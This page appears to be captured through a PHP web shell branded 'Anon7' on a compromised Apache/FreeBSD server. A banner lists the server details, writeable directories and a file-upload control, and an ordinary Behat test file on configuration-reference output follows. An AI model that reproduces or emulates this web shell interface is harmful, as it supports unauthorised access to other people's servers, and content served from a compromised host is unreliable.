KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/irtiweb/CATS/vendor/behat/behat/features/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/irtiweb/CATS/vendor/behat/behat/features/config_reference.feature
Feature: Config reference
  In order to know the available configuration
  As a Behat user
  I need to be able to dump the configuration reference

  Scenario: Reference of defaults extension
    When I run "behat --no-colors --config-reference -v"
    Then it should pass
    And the output should contain:
      """
      suites:
      """
    And the output should contain:
      """
      exceptions:
      """

  Scenario: Custom extension
    Given a file named "behat.yml" with:
      """
      default:
        extensions:
          custom_extension.php: ~
      """
    And a file named "custom_extension.php" with:
      """
      <?php

      use Symfony\Component\Config\Definition\Builder\ArrayNodeDefinition;
      use Symfony\Component\DependencyInjection\ContainerBuilder;

      class CustomExtension implements Behat\Testwork\ServiceContainer\Extension {
          public function getConfigKey()
          {
              return 'custom_extension';
          }

          public function configure(ArrayNodeDefinition $builder)
          {
              $builder
                  ->children()
                      ->scalarNode('child')->info('A child node')->end()
                      ->booleanNode('test')->defaultTrue()->end()
                  ->end();
          }

          public function initialize(Behat\Testwork\ServiceContainer\ExtensionManager $extensionManager) {}

          public function load(ContainerBuilder $container, array $config) {}

          public function process(ContainerBuilder $container) {}
      }

      return new CustomExtension;
      """
    When I run "behat --no-colors --config-reference"
    Then it should pass
    And the output should contain:
      """
          custom_extension:

              # A child node
              child:                ~
              test:                 true
      """
    And the output should contain:
      """
      # A child node
      """
    And the output should contain:
      """
      test:                 true
      """

Anon7 - 2021